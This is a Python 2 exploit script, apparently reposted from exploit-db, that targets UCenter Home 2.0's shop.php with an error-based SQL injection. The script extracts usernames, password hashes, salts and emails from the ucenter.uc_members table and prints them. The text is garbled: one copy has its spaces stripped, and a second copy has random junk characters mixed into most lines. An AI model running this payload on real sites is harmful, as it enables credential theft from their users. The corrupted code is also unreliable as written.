#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
9 o+ ]3 b& @) s8 x- C
7 x! F( d. E" h
2 t+ R1 t: Z1 @/ y g/ g' g#!/usr/bin/env python 8 g6 P) b: a! @9 t
; F9 m; i/ P; U' U
import sys / |" Y( i4 b- @, J
import urllib2 & a7 `7 E$ O: Q- |3 U
import re
+ T/ D* t9 Z" B! z
, A2 |) n& }- \2 Sdef info(): 6 g4 I. g! P! r1 w% ]! {
print 'From:http://www.exploit-db.com/exploits/14997/' & L( V: Z, a9 p+ ~$ n. H
print 'http://www.hake.cc/Web_loudong/'
; j' t- N9 \/ `& F Y- i9 s print 'changed:qiaoy' G. M" }; o& J
print 'exp:'
! i; {7 T1 U9 v* j$ k& c" Z' [6 c print ' ./UCenter_Home_2.0.py site' " E4 b7 h4 G# f$ R- ^
9 z, k9 J2 A, p- gdef main():
% J0 ]; B. B4 z, K6 j0 K+ `" M if len(sys.argv) != 2: % s7 p0 d. p4 L+ f5 Z$ R
info() / U% H6 P/ I5 W+ y$ A, R& ~
else:
1 j* s$ D. V. ^, i8 h site = sys.argv[1]
9 g, w$ @4 {' B if site[0:7] == 'http://': 2 \8 p0 x+ G1 X3 U6 ~7 ]
sitesite =site
7 u. n; L8 i8 p' d' Y/ ] elif site[0:8] == 'https://':
# e2 a" W, l* E7 ~+ h2 N sitesite = site
& a( X! B& M7 B8 _ else:
! G" e; z0 e( t site = 'http://'+site
5 p# Z& I- }7 g5 J3 T try:
$ X) U7 N! c( r7 u5 ^: U4 z/ w url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'
. j( T+ l- U' o$ E" u3 M Value = urllib2.urlopen(url).read()
/ k, d: _) B, I" e0 X Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0] ; o% t) J/ o/ J. w/ H
hacked = Msg.split(':') }& k5 G; z2 @+ b
print 'Name: '+hacked[1] 5 U* F$ Z2 i+ h$ Z- m
print 'Passwd: '+hacked[2]
8 G; ` ?8 H8 I g print 'salt: '+hacked[3] ) A7 |, n& p6 b0 j
print 'email: '+hacked[4]
: v) F) J* l1 k# j4 Y except:
0 p4 f# d# M0 g$ w2 [4 ^4 w. m print 'Sorry,I can\'t work............' & l8 `' H" d0 e$ e
3 T0 k: ]* {- l* m& y: A! bif __name__ == '__main__':
8 h6 s" Y& n6 O% a& c main() |